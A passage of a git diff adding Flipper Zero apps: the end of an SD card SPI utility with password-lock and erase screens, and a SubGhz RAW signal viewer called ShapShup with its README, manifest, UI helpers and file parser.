+    FURI_LOG_T(TAG, "app_scene_on_event_main_menu");
+    SDSPIApp* app = context;
+    bool consumed = false;
+    switch(event.type) {
+    case SceneManagerEventTypeCustom:
+        switch(event.event) {
+        case AppEvent_Status:
+            scene_manager_next_scene(app->scene_manager, AppScene_Status);
+            consumed = true;
+            break;
+        case AppEvent_Confirmation:
+            scene_manager_next_scene(app->scene_manager, AppScene_Confirmation);
+            consumed = true;
+            break;
+        case AppEvent_Password:
+            scene_manager_next_scene(app->scene_manager, AppScene_Password);
+            consumed = true;
+            break;
+        case AppEvent_Info:
+            scene_manager_next_scene(app->scene_manager, AppScene_Info);
+            consumed = true;
+            break;
+        }
+        break;
+    default:
+        consumed = false;
+        break;
+    }
+    return consumed;
+}
+
+void app_scene_on_exit_main_menu(void* context) {
+    FURI_LOG_T(TAG, "app_scene_on_exit_main_menu");
+    SDSPIApp* app = context;
+    submenu_reset(app->menu);
+}
+
+bool text_input_validator(const char* text, FuriString* error, void* context) {
+    UNUSED(context);
+    bool validated = true;
+    if(strlen(text) > PASSWORD_MAX_LEN || strlen(text) < 1) {
+        furi_string_set(error, "the pwd\nmust have\nfrom 1 to\n16 chars");
+        validated = false;
+    }
+    return validated;
+}
+void text_input_done_callback(void* context){
+  SDSPIApp* app = context;
+  Storage* storage = furi_record_open(RECORD_STORAGE);
+  FuriString* path;
+  path = furi_string_alloc();
+  furi_string_set_str(path, EXT_PATH("apps_data/sdspi"));
+  if(!storage_file_exists(storage,EXT_PATH("apps_data"))) { storage_common_mkdir(storage, EXT_PATH("apps_data")); }
+  if(!storage_file_exists(storage,EXT_PATH("apps_data/sdspi"))) { storage_common_mkdir(storage, EXT_PATH("apps_data/sdspi")); }
+
+  path_append(path,STORAGE_LOCKED_FILE);
+  File* file = storage_file_alloc(storage);
+  storage_simply_remove(storage, furi_string_get_cstr(path));
+  if(!storage_file_open(file, furi_string_get_cstr(path), FSAM_WRITE, FSOM_CREATE_ALWAYS)) {
+      FURI_LOG_E(TAG, "Failed to open file");
+  }
+  if(!storage_file_write(file, app->input_pwd, strlen(app->input_pwd))) {
+      FURI_LOG_E(TAG, "Failed to write to file");
+  }
+  furi_string_free(path);
+  storage_file_close(file);
+  storage_file_free(file);
+  furi_record_close(RECORD_STORAGE);
+
+  scene_manager_previous_scene(app->scene_manager);
+}
+
+/* App Scene Select Password */
+void app_scene_on_enter_password(void* context) {
+    FURI_LOG_T(TAG, "app_scene_on_enter_password");
+    SDSPIApp* app = context;
+    // TextInput* text_input = app->text_input;
+    text_input_set_header_text(app->text_input,"Enter password");
+    text_input_set_validator(app->text_input, text_input_validator, context);
+    text_input_set_result_callback(
+        app->text_input,
+        text_input_done_callback,
+        app,
+        app->input_pwd,
+        PASSWORD_MAX_LEN,
+        false);
+    view_dispatcher_switch_to_view(app->view_dispatcher, AppView_TextInput);
+}
+bool app_scene_on_event_password(void* context, SceneManagerEvent event) {
+    FURI_LOG_T(TAG, "app_scene_on_event_password");
+    UNUSED(context);
+    UNUSED(event);
+    return false;
+}
+void app_scene_on_exit_password(void* context) {
+    FURI_LOG_T(TAG, "app_scene_on_exit_password");
+    SDSPIApp* app = context;
+    UNUSED(app);
+    // text_input_reset(app->text_input);
+    // text_input_set_validator(app->text_input, NULL, NULL);
+}
+
+/* App Scene Confirm SD Force Erase */
+void app_dialog_erase_callback(DialogExResult result, void* context) {
+  SDSPIApp* app = context;
+  if(result == DialogExResultLeft) { scene_manager_previous_scene(app->scene_manager); }
+  else if(result == DialogExResultRight) {
+    {
+      SdSpiStatus sdStatus;
+      sdStatus = sd_force_erase();
+      if(notify_sequence(sdStatus)){ scene_manager_previous_scene(app->scene_manager); };
+    }
+  }
+}
+void app_scene_on_enter_dialog(void* context) {
+    FURI_LOG_T(TAG, "app_scene_on_enter_dialog");
+    SDSPIApp* app = context;
+    dialog_ex_reset(app->dialog);
+
+    dialog_ex_set_result_callback(app->dialog, app_dialog_erase_callback);
+    dialog_ex_set_context(app->dialog, app);
+    dialog_ex_set_left_button_text(app->dialog, "Back");
+    dialog_ex_set_right_button_text(app->dialog, "Erase");
+    // dialog_ex_set_center_button_text(app->dialog, "Menu List");
+    dialog_ex_set_header(app->dialog, "Erase SD card?", 128/2, 12, AlignCenter, AlignTop);
+    view_dispatcher_switch_to_view(app->view_dispatcher, AppView_Dialog);
+}
+bool app_scene_on_event_dialog(void* context, SceneManagerEvent event) {
+    FURI_LOG_T(TAG, "app_scene_on_event_dialog");
+    UNUSED(context);
+    UNUSED(event);
+    return false;
+}
+void app_scene_on_exit_dialog(void* context) {
+    FURI_LOG_T(TAG, "app_scene_on_exit_dialog");
+    SDSPIApp* app = context;
+    dialog_ex_reset(app->dialog);
+}
+
+/* App Scene About */
+void app_scene_on_enter_info(void* context) {
+    FURI_LOG_T(TAG, "app_scene_on_enter_info");
+    SDSPIApp* app = context;
+    widget_reset(app->widget_about);
+    widget_add_text_box_element(
+        app->widget_about,
+        0,
+        2,
+        128,
+        14,
+        AlignCenter,
+        AlignBottom,
+        "\e#\e!            SD Spi           \e!\n",
+        false);
+    FuriString* temp_str = furi_string_alloc();
+    furi_string_cat_printf(temp_str, "Version: %s\n", VERSION_APP);
+    furi_string_cat_printf(temp_str, "Developed by: %s\n", DEVELOPED);
+    furi_string_cat_printf(temp_str, "Github: %s\n\n", GITHUB);
+
+    widget_add_text_scroll_element(app->widget_about, 0, 16, 128, 50, furi_string_get_cstr(temp_str));
+    view_dispatcher_switch_to_view(app->view_dispatcher, AppView_Info);
+}
+bool app_scene_on_event_info(void* context, SceneManagerEvent event) {
+    FURI_LOG_T(TAG, "app_scene_on_event_info");
+    UNUSED(context);
+    UNUSED(event);
+    return false;
+}
+void app_scene_on_exit_info(void* context) {
+    FURI_LOG_T(TAG, "app_scene_on_exit_info");
+    SDSPIApp* app = context;
+    widget_reset(app->widget_about);
+}
+
+/* App Scene SD Status */
+void app_scene_on_enter_status(void* context) {
+    FURI_LOG_T(TAG, "app_scene_on_enter_status");
+    SDSPIApp* app = context;
+    text_box_reset(app->tb_status);
+
+    FuriString* fs_status = furi_string_alloc();
+    furi_string_reserve(fs_status, TEXT_BOX_STORE_SIZE);
+    furi_string_set_char(fs_status, 0, 0);
+    furi_string_set_str(fs_status, "Sd Status:");
+
+    furi_string_cat_str(fs_status, "\nR1");
+    if(cmd_answer.r1 != 0xff) {
+      if(cmd_answer.r1 == SdSpi_R1_NO_ERROR){ furi_string_cat_str(fs_status, "\nNO_ERROR"); }
+      if(cmd_answer.r1 & SdSpi_R1_ERASE_RESET){ furi_string_cat_str(fs_status, "\nERASE_RESET"); }
+      if(cmd_answer.r1 & SdSpi_R1_IN_IDLE_STATE){ furi_string_cat_str(fs_status, "\nIN_IDLE_STATE"); }
+      if(cmd_answer.r1 & SdSpi_R1_ILLEGAL_COMMAND){ furi_string_cat_str(fs_status, "\nILLEGAL_COMMAND"); }
+      if(cmd_answer.r1 & SdSpi_R1_COM_CRC_ERROR){ furi_string_cat_str(fs_status, "\nCOM_CRC_ERROR"); }
+      if(cmd_answer.r1 & SdSpi_R1_ERASE_SEQUENCE_ERROR){ furi_string_cat_str(fs_status, "\nERASE_SEQUENCE_ERROR"); }
+      if(cmd_answer.r1 & SdSpi_R1_ADDRESS_ERROR){ furi_string_cat_str(fs_status, "\nADDRESS_ERROR"); }
+      if(cmd_answer.r1 & SdSpi_R1_PARAMETER_ERROR){ furi_string_cat_str(fs_status, "\nPARAMETER_ERROR"); }
+    }
+
+    furi_string_cat_str(fs_status, "\nR2");
+    if(cmd_answer.r2 != 0xff) {
+      if(cmd_answer.r2 == SdSpi_R2_NO_ERROR){ furi_string_cat_str(fs_status, "\nNO_ERROR"); }
+      if(cmd_answer.r2 & SdSpi_R2_CARD_LOCKED){ furi_string_cat_str(fs_status, "\nCARD_LOCKED"); }
+      if(cmd_answer.r2 & SdSpi_R2_LOCKUNLOCK_ERROR){ furi_string_cat_str(fs_status, "\nLOCKUNLOCK_ERROR"); }
+      if(cmd_answer.r2 & SdSpi_R2_ERROR){ furi_string_cat_str(fs_status, "\nERROR"); }
+      if(cmd_answer.r2 & SdSpi_R2_CC_ERROR){ furi_string_cat_str(fs_status, "\nCC_ERROR"); }
+      if(cmd_answer.r2 & SdSpi_R2_CARD_ECC_FAILED){ furi_string_cat_str(fs_status, "\nCARD_ECC_FAILED"); }
+      if(cmd_answer.r2 & SdSpi_R2_WP_VIOLATION){ furi_string_cat_str(fs_status, "\nWP_VIOLATION"); }
+      if(cmd_answer.r2 & SdSpi_R2_ERASE_PARAM){ furi_string_cat_str(fs_status, "\nERASE_PARAM"); }
+      if(cmd_answer.r2 & SdSpi_R2_OUTOFRANGE){ furi_string_cat_str(fs_status, "\nOUTOFRANGE"); }
+    }
+
+    text_box_set_text(app->tb_status, furi_string_get_cstr(fs_status));
+    text_box_set_focus(app->tb_status, TextBoxFocusEnd);
+    view_dispatcher_switch_to_view(app->view_dispatcher, AppView_Status);
+}
+bool app_scene_on_event_status(void* context, SceneManagerEvent event) {
+    FURI_LOG_T(TAG, "app_scene_on_event_status");
+    UNUSED(context);
+    UNUSED(event);
+    return false;
+}
+void app_scene_on_exit_status(void* context) {
+    FURI_LOG_T(TAG, "app_scene_on_exit_status");
+    SDSPIApp* app = context;
+    text_box_reset(app->tb_status);
+}
+
+
+
+/** collection of all scene on_enter handlers - in the same order as their enum */
+void (*const app_scene_on_enter_handlers[])(void*) = {
+    app_scene_on_enter_main_menu,
+    app_scene_on_enter_status,
+    // app_scene_on_enter_info,
+    app_scene_on_enter_dialog,
+    app_scene_on_enter_password,
+    app_scene_on_enter_info};
+
+/** collection of all scene on event handlers - in the same order as their enum */
+bool (*const app_scene_on_event_handlers[])(void*, SceneManagerEvent) = {
+    app_scene_on_event_main_menu,
+    app_scene_on_event_status,
+    // app_scene_on_event_info,
+    app_scene_on_event_dialog,
+    app_scene_on_event_password,
+    app_scene_on_event_info};
+
+/** collection of all scene on exit handlers - in the same order as their enum */
+void (*const app_scene_on_exit_handlers[])(void*) = {
+    app_scene_on_exit_main_menu,
+    app_scene_on_exit_status,
+    // app_scene_on_exit_info,
+    app_scene_on_exit_dialog,
+    app_scene_on_exit_password,
+    app_scene_on_exit_info};
+
+/** collection of all on_enter, on_event, on_exit handlers */
+const SceneManagerHandlers app_scene_event_handlers = {
+    .on_enter_handlers = app_scene_on_enter_handlers,
+    .on_event_handlers = app_scene_on_event_handlers,
+    .on_exit_handlers = app_scene_on_exit_handlers,
+    .scene_num = AppScene_count};
+
+/** custom event handler - passes the event to the scene manager */
+bool app_scene_manager_custom_event_callback(void* context, uint32_t custom_event) {
+    FURI_LOG_T(TAG, "app_scene_manager_custom_event_callback");
+    furi_assert(context);
+    SDSPIApp* app = context;
+    return scene_manager_handle_custom_event(app->scene_manager, custom_event);
+}
+
+/** navigation event handler - passes the event to the scene manager */
+bool app_scene_manager_navigation_event_callback(void* context) {
+    FURI_LOG_T(TAG, "app_scene_manager_navigation_event_callback");
+    furi_assert(context);
+    SDSPIApp* app = context;
+    return scene_manager_handle_back_event(app->scene_manager);
+}
+
+/** initialise the scene manager with all handlers */
+void app_scene_manager_init(SDSPIApp* app) {
+    FURI_LOG_T(TAG, "app_scene_manager_init");
+    app->scene_manager = scene_manager_alloc(&app_scene_event_handlers, app);
+}
+
+
+/** initialise the views, and initialise the view dispatcher with all views */
+void app_view_dispatcher_init(SDSPIApp* app) {
+    FURI_LOG_T(TAG, "app_view_dispatcher_init");
+    app->view_dispatcher = view_dispatcher_alloc();
+    view_dispatcher_enable_queue(app->view_dispatcher);
+
+    // allocate each view
+    FURI_LOG_D(TAG, "app_view_dispatcher_init allocating views");
+    app->menu = submenu_alloc();
+    app->tb_status = text_box_alloc();
+    app->text_input = text_input_alloc();
+    app->widget_about = widget_alloc();
+    app->dialog = dialog_ex_alloc();
+
+    app->input_pwd = "";
+
+    Storage* storage = furi_record_open(RECORD_STORAGE);
+    FuriString* path;
+    path = furi_string_alloc();
+    furi_string_set_str(path, EXT_PATH("apps_data/sdspi"));
+    path_append(path,STORAGE_LOCKED_FILE);
+    if(storage_file_exists(storage,furi_string_get_cstr(path))) {
+      File* file = storage_file_alloc(storage);
+      if(storage_file_open(file, furi_string_get_cstr(path), FSAM_READ, FSOM_OPEN_EXISTING)) {
+          FURI_LOG_E(TAG, "File pwd loading");
+          char data[PASSWORD_MAX_LEN] = {0};
+          if(storage_file_read(file, data, PASSWORD_MAX_LEN)>0){
+            FURI_LOG_E(TAG, "File pwd laoded");
+            // app->input_pwd = data;
+            strncpy(app->input_pwd,data,PASSWORD_MAX_LEN);
+            FURI_LOG_E(TAG, data);
+          }
+          storage_file_close(file);
+      }
+      else{
+        FURI_LOG_E(TAG, "File pwd not found");
+      }
+      FURI_LOG_E(TAG, "storage_file_free");
+      storage_file_free(file);
+    }
+    furi_string_free(path);
+    furi_record_close(RECORD_STORAGE);
+
+    FURI_LOG_D(TAG, "app_view_dispatcher_init setting callbacks");
+    view_dispatcher_set_event_callback_context(app->view_dispatcher, app);
+    view_dispatcher_set_custom_event_callback(app->view_dispatcher, app_scene_manager_custom_event_callback);
+    view_dispatcher_set_navigation_event_callback(app->view_dispatcher, app_scene_manager_navigation_event_callback);
+
+    // add views to the dispatcher, indexed by their enum value
+    FURI_LOG_D(TAG, "app_view_dispatcher_init adding view menu");
+    view_dispatcher_add_view(app->view_dispatcher, AppView_Menu, submenu_get_view(app->menu));
+
+    FURI_LOG_D(TAG, "app_view_dispatcher_init adding view textbox");
+    view_dispatcher_add_view(app->view_dispatcher, AppView_Status, text_box_get_view(app->tb_status));
+
+    FURI_LOG_D(TAG, "app_view_dispatcher_init adding view dialog");
+    view_dispatcher_add_view(app->view_dispatcher, AppView_Dialog, dialog_ex_get_view(app->dialog));
+
+    FURI_LOG_D(TAG, "app_view_dispatcher_init adding view password");
+    view_dispatcher_add_view(app->view_dispatcher, AppView_TextInput, text_input_get_view(app->text_input));
+
+    FURI_LOG_D(TAG, "app_view_dispatcher_init adding view about");
+    view_dispatcher_add_view(app->view_dispatcher, AppView_Info, widget_get_view(app->widget_about));
+}
+
+/** initialise app data, scene manager, and view dispatcher */
+SDSPIApp* app_init() {
+    FURI_LOG_T(TAG, "app_init");
+    SDSPIApp* app = malloc(sizeof(SDSPIApp));
+    app_scene_manager_init(app);
+    app_view_dispatcher_init(app);
+    return app;
+}
+
+/** free all app data, scene manager, and view dispatcher */
+void app_free(SDSPIApp* app) {
+    FURI_LOG_T(TAG, "app_free");
+    scene_manager_free(app->scene_manager);
+    view_dispatcher_remove_view(app->view_dispatcher, AppView_Menu);
+    view_dispatcher_remove_view(app->view_dispatcher, AppView_Status);
+    view_dispatcher_remove_view(app->view_dispatcher, AppView_TextInput);
+    view_dispatcher_remove_view(app->view_dispatcher, AppView_Dialog);
+    view_dispatcher_remove_view(app->view_dispatcher, AppView_Info);
+    view_dispatcher_free(app->view_dispatcher);
+    submenu_free(app->menu);
+    text_box_free(app->tb_status);
+    widget_free(app->widget_about);
+    dialog_ex_free(app->dialog);
+    text_input_free(app->text_input);
+    free(app);
+}
+
+/** go to trace log level in the dev environment */
+void app_set_log_level() {
+#ifdef FURI_DEBUG
+    furi_log_set_level(FuriLogLevelTrace);
+#else
+    furi_log_set_level(FuriLogLevelInfo);
+#endif
+}
+
+/** entrypoint */
+int32_t sd_spi_app(void* p) {
+    UNUSED(p);
+    app_set_log_level();
+
+    // create the app context struct, scene manager, and view dispatcher
+    FURI_LOG_I(TAG, "sd_spi_app starting...");
+    SDSPIApp* app = app_init();
+
+    // set the scene and launch the main loop
+    Gui* gui = furi_record_open(RECORD_GUI);
+    view_dispatcher_attach_to_gui(app->view_dispatcher, gui, ViewDispatcherTypeFullscreen);
+    scene_manager_next_scene(app->scene_manager, AppScene_MainMenu);
+    FURI_LOG_D(TAG, "Starting dispatcher...");
+    view_dispatcher_run(app->view_dispatcher);
+
+    // free all memory
+    FURI_LOG_I(TAG, "app finishing...");
+    furi_record_close(RECORD_GUI);
+    app_free(app);
+    return 0;
+}

BIN
non_catalog_apps/sd_spi/sd_spi_app_10px.png


+ 34 - 0
non_catalog_apps/shapshup/README.md

@@ -0,0 +1,34 @@
+# ShapShup App for Flipper Zero
+[![Version check for NEW release](https://github.com/derskythe/flipperzero-shapshup/actions/workflows/version-check.yml/badge.svg)](https://github.com/derskythe/flipperzero-shapshup/actions/workflows/version-check.yml)
+[![Build for Firmware](https://github.com/derskythe/flipperzero-shapshup/actions/workflows/build-with-firmwware.yml/badge.svg)](https://github.com/derskythe/flipperzero-shapshup/actions/workflows/build-with-firmwware.yml)
+
+
+![02](https://github.com/derskythe/flipperzero-shapshup/assets/31771569/51ceca37-b322-4926-8b9e-413f616e1922)
+
+---
+## Description
+
+A simple application for viewing SubGhz RAW files in the form of a signal level as it is shows in SubGHz RAW read mode.
+
+## Instruction
+
+First you need to select RAW file.<br/>
+![01](https://github.com/derskythe/flipperzero-shapshup/assets/31771569/fcd95d16-ff6e-42f9-ae91-890bb1d4e4ee)
+
+Then you can view signal levels of selected file.
+You can zoom-in :arrow_down_small: or zoom-out :arrow_up_small: levels
+
+![03](https://github.com/derskythe/flipperzero-shapshup/assets/31771569/d1090ba6-1bf4-46e8-93aa-fbf86512f3cc)
+
+Also you can walk through the file with forward and backward buttons
+
+#### Buttons
+
+|           Button            |        Action         |
+|:---------------------------:|:---------------------:|
+|      :arrow_backward:       | Go backward           |
+|      :arrow_up_small:       |        Zoom-out       |
+|       :arrow_forward:       | Go forward            |
+|     :arrow_down_small:      |       Zoom-in         |
+|       :record_button:       |  Select another file  |
+| :leftwards_arrow_with_hook: |   Long press to EXIT  |

+ 13 - 0
non_catalog_apps/shapshup/application.fam

@@ -0,0 +1,13 @@
+App(
+    appid="shapshup",
+    name="ShapShup",
+    apptype=FlipperAppType.EXTERNAL,
+    entry_point="shapshup_app",
+    cdefines=["APP_SHAPSHUP"],
+    requires=["gui", "dialogs"],
+    stack_size=2 * 1024,
+    order=13,
+    fap_icon="images/shapshup_10px.png",
+    fap_category="Sub-GHz",
+    fap_icon_assets="images",
+)

+ 59 - 0
non_catalog_apps/shapshup/helpers/gui_top_buttons.c

@@ -0,0 +1,59 @@
+#include "gui_top_buttons.h"
+
+void elements_button_top_left(Canvas* canvas, const char* str) {
+    const Icon* icon = &I_ButtonUp_7x4;
+
+    const uint8_t button_height = 12;
+    const uint8_t vertical_offset = 3;
+    const uint8_t horizontal_offset = 3;
+    const uint8_t string_width = canvas_string_width(canvas, str);
+    const uint8_t icon_h_offset = 3;
+    const uint8_t icon_width_with_offset = icon_get_width(icon) + icon_h_offset;
+    const uint8_t icon_v_offset = icon_get_height(icon) + vertical_offset;
+    const uint8_t button_width = string_width + horizontal_offset * 2 + icon_width_with_offset;
+
+    const uint8_t x = 0;
+    const uint8_t y = 0 + button_height;
+
+    uint8_t line_x = x + button_width;
+    uint8_t line_y = y - button_height;
+    canvas_draw_box(canvas, x, line_y, button_width, button_height);
+    canvas_draw_line(canvas, line_x + 0, line_y, line_x + 0, y - 1);
+    canvas_draw_line(canvas, line_x + 1, line_y, line_x + 1, y - 2);
+    canvas_draw_line(canvas, line_x + 2, line_y, line_x + 2, y - 3);
+
+    canvas_invert_color(canvas);
+    canvas_draw_icon(canvas, x + horizontal_offset, y - icon_v_offset, icon);
+    canvas_draw_str(
+        canvas, x + horizontal_offset + icon_width_with_offset, y - vertical_offset, str);
+    canvas_invert_color(canvas);
+}
+
+void elements_button_top_right(Canvas* canvas, const char* str) {
+    const Icon* icon = &I_ButtonDown_7x4;
+
+    const uint8_t button_height = 12;
+    const uint8_t vertical_offset = 3;
+    const uint8_t horizontal_offset = 3;
+    const uint8_t string_width = canvas_string_width(canvas, str);
+    const uint8_t icon_h_offset = 3;
+    const uint8_t icon_width_with_offset = icon_get_width(icon) + icon_h_offset;
+    const uint8_t icon_v_offset = icon_get_height(icon) + vertical_offset + 1;
+    const uint8_t button_width = string_width + horizontal_offset * 2 + icon_width_with_offset;
+
+    const uint8_t x = canvas_width(canvas);
+    const uint8_t y = 0 + button_height;
+
+    uint8_t line_x = x - button_width;
+    uint8_t line_y = y - button_height;
+    canvas_draw_box(canvas, line_x, line_y, button_width, button_height);
+    canvas_draw_line(canvas, line_x - 1, line_y, line_x - 1, y - 1);
+    canvas_draw_line(canvas, line_x - 2, line_y, line_x - 2, y - 2);
+    canvas_draw_line(canvas, line_x - 3, line_y, line_x - 3, y - 3);
+
+    canvas_invert_color(canvas);
+    canvas_draw_str(canvas, x - button_width + horizontal_offset, y - vertical_offset, str);
+    canvas_draw_icon(
+        canvas, x - horizontal_offset - icon_get_width(icon), y - icon_v_offset, icon);
+    canvas_invert_color(canvas);
+}

+ 25 - 0
non_catalog_apps/shapshup/helpers/gui_top_buttons.h

@@ -0,0 +1,25 @@
+#pragma once
+
+#include <input/input.h>
+#include <gui/elements.h>
+#include <gui/icon.h>
+#include <gui/icon_animation.h>
+#include <assets_icons.h>
+
+/**
+ * @brief draw button in top left corner of screen
+ *
+ * @author panki27 (https://github.com/panki27/Metronome)
+ * @param canvas Canvas* 
+ * @param str caption of button
+ */
+void elements_button_top_left(Canvas* canvas, const char* str);
+
+/**
+ * @brief draw button in top right corner of screen
+ * 
+ * @author panki27 (https://github.com/panki27/Metronome)
+ * @param canvas Canvas*
+ * @param str caption of button
+ */
+void elements_button_top_right(Canvas* canvas, const char* str);

+ 355 - 0
non_catalog_apps/shapshup/helpers/shapshup_files.c

@@ -0,0 +1,355 @@
+#include "shapshup_files.h"
+#include <inttypes.h>
+#include <lib/subghz/types.h>
+
+#define TAG "ShapShupFiles"
+#define RAW_KEY_NAME "RAW_Data"
+
+const size_t buffer_size = 32;
+
+static bool stream_read_valid_key_shapshup(Stream* stream, FuriString* key) {
+    furi_string_reset(key);
+    uint8_t buffer[buffer_size];
+
+    bool found = false;
+    bool error = false;
+    bool accumulate = true;
+    bool new_line = true;
+
+    while(true) {
+        size_t was_read = stream_read(stream, buffer, buffer_size);
+        if(was_read == 0) break;
+
+        for(size_t i = 0; i < was_read; i++) {
+            uint8_t data = buffer[i];
+            if(data == flipper_format_eoln) {
+                // EOL found, clean data, start accumulating data and set the new_line flag
+                furi_string_reset(key);
+                accumulate = true;
+                new_line = true;
+            } else if(data == flipper_format_eolr) {
+                // ignore
+            } else if(data == flipper_format_comment && new_line) {
+                // if there is a comment character and we are at the beginning of a new line
+                // do not accumulate comment data and reset the new_line flag
+                accumulate = false;
+                new_line = false;
+            } else if(data == flipper_format_delimiter) {
+                if(new_line) {
+                    // we are on a "new line" and found the delimiter
+                    // this can only be if we have previously found some kind of key, so
+                    // clear the data, set the flag that we no longer want to accumulate data
+                    // and reset the new_line flag
+                    furi_string_reset(key);
+                    accumulate = false;
+                    new_line = false;
+                } else {
+                    // parse the delimiter only if we are accumulating data
+                    if(accumulate) {
+                        // we found the delimiter, move the rw pointer to the delimiter location
+                        // and signal that we have found something
+                        if(!stream_seek(stream, i - was_read, StreamOffsetFromCurrent)) {
+                            error = true;
+                            break;
+                        }
+
+                        found = true;
+                        break;
+                    }
+                }
+            } else {
+                // just new symbol, reset the new_line flag
+                new_line = false;
+                if(accumulate) {
+                    // and accumulate data if we want
+                    furi_string_push_back(key, data);
+                }
+            }
+        }
+
+        if(found || error) break;
+    }
+
+    return found;
+}
+
+bool stream_seek_to_key_shapshup(Stream* stream, const char* key, bool strict_mode) {
+    bool found = false;
+    FuriString* read_key;
+
+    read_key = furi_string_alloc();
+
+    while(!stream_eof(stream)) {
+        if(stream_read_valid_key_shapshup(stream, read_key)) {
+            if(furi_string_cmp_str(read_key, key) == 0) {
+                if(!stream_seek(stream, 2, StreamOffsetFromCurrent)) {
+                    break;
+                }
+                found = true;
+                break;
+            } else if(strict_mode) {
+                found = false;
+                break;
+            }
+        }
+    }
+    furi_string_free(read_key);
+
+    return found;
+}
+
+static inline bool is_space_shapshup(char c) {
+    return c == ' ' || c == '\t' || c == flipper_format_eolr;
+}
+
+static bool stream_read_value_shapshup(Stream* stream, FuriString* value, bool* last) {
+    enum { LeadingSpace, ReadValue, TrailingSpace } state = LeadingSpace;
+    const size_t buffer_size = 32;
+    uint8_t buffer[buffer_size];
+    bool result = false;
+    bool error = false;
+
+    furi_string_reset(value);
+
+    while(true) {
+        size_t was_read = stream_read(stream, buffer, buffer_size);
+
+        if(was_read == 0) {
+            if(state != LeadingSpace && stream_eof(stream)) {
+                result = true;
+                *last = true;
+            } else {
+                error = true;
+            }
+        }
+
+        for(uint16_t i = 0; i < was_read; i++) {
+            const uint8_t data = buffer[i];
+
+            if(state == LeadingSpace) {
+                if(is_space_shapshup(data)) {
+                    continue;
+                } else if(data == flipper_format_eoln) {
+                    stream_seek(stream, i - was_read, StreamOffsetFromCurrent);
+                    error = true;
+                    break;
+                } else {
+                    state = ReadValue;
+                    furi_string_push_back(value, data);
+                }
+            } else if(state == ReadValue) {
+                if(is_space_shapshup(data)) {
+                    state = TrailingSpace;
+                } else if(data == flipper_format_eoln) {
+                    if(!stream_seek(stream, i - was_read, StreamOffsetFromCurrent)) {
+                        error = true;
+                    } else {
+                        result = true;
+                        *last = true;
+                    }
+                    break;
+                } else {
+                    furi_string_push_back(value, data);
+                }
+            } else if(state == TrailingSpace) {
+                if(is_space_shapshup(data)) {
+                    continue;
+                } else if(!stream_seek(stream, i - was_read, StreamOffsetFromCurrent)) {
+                    error = true;
+                } else {
+                    *last = (data == flipper_format_eoln);
+                    result = true;
+                }
+                break;
+            }
+        }
+
+        if(error || result) break;
+    }
+
+    return result;
+}
+
+bool read_int32_shapshup(Stream* stream, int32_t* _data, uint16_t data_size) {
+    bool result = false;
+    result = true;
+    FuriString* value;
+    value = furi_string_alloc();
+
+    for(size_t i = 0; i < data_size; i++) {
+        bool last = false;
+        result = stream_read_value_shapshup(stream, value, &last);
+        if(result) {
+            int scan_values = 0;
+
+            int32_t* data = _data;
+            scan_values = sscanf(furi_string_get_cstr(value), "%" PRIi32, &data[i]);
+
+            if(scan_values != 1) {
+                result = false;
+                break;
+            }
+        } else {
+            break;
+        }
+
+        if(last && ((i + 1) != data_size)) {
+            result = false;
+            break;
+        }
+    }
+
+    furi_string_free(value);
+    return result;
+}
+
+ShapShupRawFile* load_file_shapshup(const char* file_path) {
+    furi_assert(file_path);
+
+    Storage* storage = furi_record_open(RECORD_STORAGE);
+
+    ShapShupRawFile* instance = malloc(sizeof(ShapShupRawFile));
+    instance->total_len = 0;
+    instance->total_count = 0;
+    instance->min_value = 0;
+    instance->max_value = 0;
+    instance->max_len = 0;
+    instance->min_len = 0;
+    array_raw_init(instance->values);
+
+    FlipperFormat* fff_data_file = flipper_format_file_alloc(storage);
+    Stream* fff_data_stream = NULL;
+
+    FuriString* temp_str;
+    temp_str = furi_string_alloc();
+    uint32_t temp_data32;
+    instance->result = ShapShupFileResultUnknown;
+
+    do {
+        if(!flipper_format_file_open_existing(fff_data_file, file_path)) {
+            instance->result = ShapShupFileResultOpenError;
+            FURI_LOG_E(TAG, shapshup_files_result_description(instance->result));
+            break;
+        }
+
+        fff_data_stream = flipper_format_get_raw_stream(fff_data_file);
+
+        if(!flipper_format_read_header(fff_data_file, temp_str, &temp_data32)) {
+            instance->result = ShapShupFileResultIncorrectHeader;
+            FURI_LOG_E(TAG, shapshup_files_result_description(instance->result));
+            break;
+        }
+
+        if(temp_data32 != SUBGHZ_KEY_FILE_VERSION) {
+            instance->result = ShapShupFileResultTypeOfVersionMismatch;
+            FURI_LOG_E(TAG, shapshup_files_result_description(instance->result));
+            break;
+        }
+
+        if(furi_string_cmp_str(temp_str, SUBGHZ_RAW_FILE_TYPE) != 0) {
+            instance->result = ShapShupFileResultNotRawFile;
+            FURI_LOG_E(
+                TAG,
+                "%s, Value: %s",
+                shapshup_files_result_description(instance->result),
+                furi_string_get_cstr(temp_str));
+            break;
+        }
+
+        if(!flipper_format_read_uint32(fff_data_file, "Frequency", &temp_data32, 1)) {
+            instance->result = ShapShupFileResultMissingFrequency;
+            FURI_LOG_E(TAG, shapshup_files_result_description(instance->result));
+            break;
+        } else {
+            instance->frequency = temp_data32;
+        }
+
+        if(!flipper_format_read_string(fff_data_file, "Preset", temp_str)) {
+            instance->result = ShapShupFileResultMissingPreset;
+            FURI_LOG_E(TAG, shapshup_files_result_description(instance->result));
+            break;
+        }
+
+        if(!flipper_format_read_string(fff_data_file, "Protocol", temp_str)) {
+            instance->result = ShapShupFileResultMissingProtocol;
+            FURI_LOG_E(TAG, shapshup_files_result_description(instance->result));
+            break;
+        }
+
+        if(!stream_seek_to_key_shapshup(fff_data_stream, RAW_KEY_NAME, false)) {
+            instance->result = ShapShupFileResultKeyNotFound;
+            FURI_LOG_E(TAG, shapshup_files_result_description(instance->result));
+            break;
+        }
+        // file_offset_start = stream_tell(fff_data_stream);
+        instance->result = ShapShupFileResultOk;
+    } while(false);
+
+    uint64_t min_len = 0 - 1;
+    uint64_t max_len = 0;
+
+    if(instance->result == ShapShupFileResultOk) {
+        int32_t value = 0;
+        do {
+            if(!read_int32_shapshup(fff_data_stream, &value, 1)) {
+                break;
+            }
+
+            uint64_t abs_value = value < 0 ? value * -1 : value;
+
+            if(value < instance->min_value) {
+                instance->min_value = value;
+            } else if(value > instance->max_value) {
+                instance->max_value = value;
+            }
+            if(abs_value > max_len) {
+                max_len = abs_value;
+            } else if(abs_value < min_len) {
+                min_len = abs_value;
+            }
+            array_raw_push_back(instance->values, value);
+            instance->total_count++;
+            instance->total_len += abs_value;
+        } while(true);
+        instance->max_len = max_len;
+        instance->min_len = min_len;
+    } else {
+        array_raw_clear(instance->values);
+    }
+
+    FURI_LOG_I(
